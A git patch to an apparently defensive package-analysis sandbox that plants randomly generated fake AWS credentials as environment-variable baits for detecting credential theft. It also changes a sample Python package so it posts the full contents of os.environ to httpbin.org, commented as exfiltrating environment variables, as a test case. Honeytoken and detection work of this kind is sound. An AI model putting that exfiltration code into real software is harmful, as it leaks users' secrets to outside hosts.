From 0a8385a77f7bc1caa4c591aa0bf05a8def7c6df1 Mon Sep 17 00:00:00 2001 From: Elaine Chien Date: Wed, 15 Nov 2023 02:35:05 +0000 Subject: [PATCH] Add environment variable baits (#948) * Add environment variable baits to podman sandbox Signed-off-by: Elaine Chien * minor edits Signed-off-by: Elaine Chien * revisions * missing space * Replace crypto.rand with math.rand Signed-off-by: Elaine Chien * Rename variable Signed-off-by: Elaine Chien --------- Signed-off-by: Elaine Chien Co-authored-by: Max Fisher <112151114+maxfisher-g@users.noreply.github.com> --- internal/worker/rundynamic.go | 28 +++++++++++++++++++ .../sample_python_package/src/example.py | 3 +- 2 files changed, 30 insertions(+), 1 deletion(-) diff --git a/internal/worker/rundynamic.go b/internal/worker/rundynamic.go index 4ce7852d..615985ec 100644 --- a/internal/worker/rundynamic.go +++ b/internal/worker/rundynamic.go @@ -4,10 +4,12 @@ import ( "context" "crypto/rand" "crypto/rsa" + "encoding/base64" "encoding/pem" "fmt" "io" "log/slog" + mathrand "math/rand" "os" "path/filepath" "runtime" @@ -108,6 +110,24 @@ func addSSHKeysToSandbox(ctx context.Context, sb sandbox.Sandbox) error { return sb.CopyIntoSandbox(ctx, tempdir+"/.", "/root/.ssh") } +// generateAWSKeys returns two strings. The first is an AWS access key id based +// off of some known patterns and pseudorandom values. The second is a random 30 +// byte base64 encoded string to use as an AWS secret access key. +func generateAWSKeys() (string, string) { + const charSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" + var accessKeyId = "AKIAI" + src := mathrand.NewSource(time.Now().UnixNano()) + r := mathrand.New(src) + for i := 0; i < 14; i++ { + randIndex := r.Intn(len(charSet)) + accessKeyId += string(charSet[randIndex]) + } + accessKeyId += "Q" + b := make([]byte, 30) + r.Read(b) + return accessKeyId, base64.StdEncoding.EncodeToString(b) +} + /* RunDynamicAnalysis runs dynamic analysis on the given package across the phases valid in the package ecosystem (e.g. import, install), in a sandbox created @@ -137,6 +157,14 @@ func RunDynamicAnalysis(ctx context.Context, pkg *pkgmanager.Pkg, sbOpts []sandb analysisCmd = dynamicanalysis.DefaultCommand(pkg.Ecosystem()) } + // Adding environment variable baits. We use mocked AWS keys since they are + // commonly added as environment variables and will be easy to query for in + // the analysis results. See AWS docs on environment variable configuration: + // https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html + AWSAccessKeyId, AWSSecretAccessKey := generateAWSKeys() + sbOpts = append(sbOpts, sandbox.SetEnv("AWS_ACCESS_KEY_ID", AWSAccessKeyId)) + sbOpts = append(sbOpts, sandbox.SetEnv("AWS_SECRET_ACCESS_KEY", AWSSecretAccessKey)) + sb := sandbox.New(sbOpts...) defer func() { diff --git a/sample_packages/sample_python_package/src/example.py b/sample_packages/sample_python_package/src/example.py index 71296e90..2ca92bc5 100755 --- a/sample_packages/sample_python_package/src/example.py +++ b/sample_packages/sample_python_package/src/example.py @@ -3,10 +3,11 @@ import os # Sends an HTTPS post request and prints out the response. +# Exfiltrates environment variables. def send_https_post_request(called_from: str, print_logs: bool) -> None: host = "www.httpbin.org" conn = http.client.HTTPSConnection(host) - data = {'text': 'Sending data through HTTPS from: ' + called_from} + data = {"text": f"Sending data through HTTPS from: {called_from}. Found environment variables: {str(os.environ)}"} json_data = json.dumps(data) conn.request("POST", "/post", json_data, headers={"Host": host}) response = conn.getresponse()